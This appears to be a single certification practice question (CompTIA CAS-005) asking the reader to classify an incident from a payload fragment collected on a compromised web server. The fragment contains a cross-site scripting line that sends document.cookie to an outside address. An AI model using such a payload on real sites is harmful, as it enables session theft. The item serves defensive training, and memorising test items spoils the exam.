CompTIA SecurityX (CAS-005) CAS-005 — Question 289

During a forensic review of a cybersecurity incident, a security engineer collected a portion of the payload used by an attacker on a comprised web server. Given the following portion of the code: ..asd...document.location="https://10.10.1.2/?"x“+document.cookie; ..12..fa..<>...ash214%621...41..2...8.8. Which of the following best describes this incident?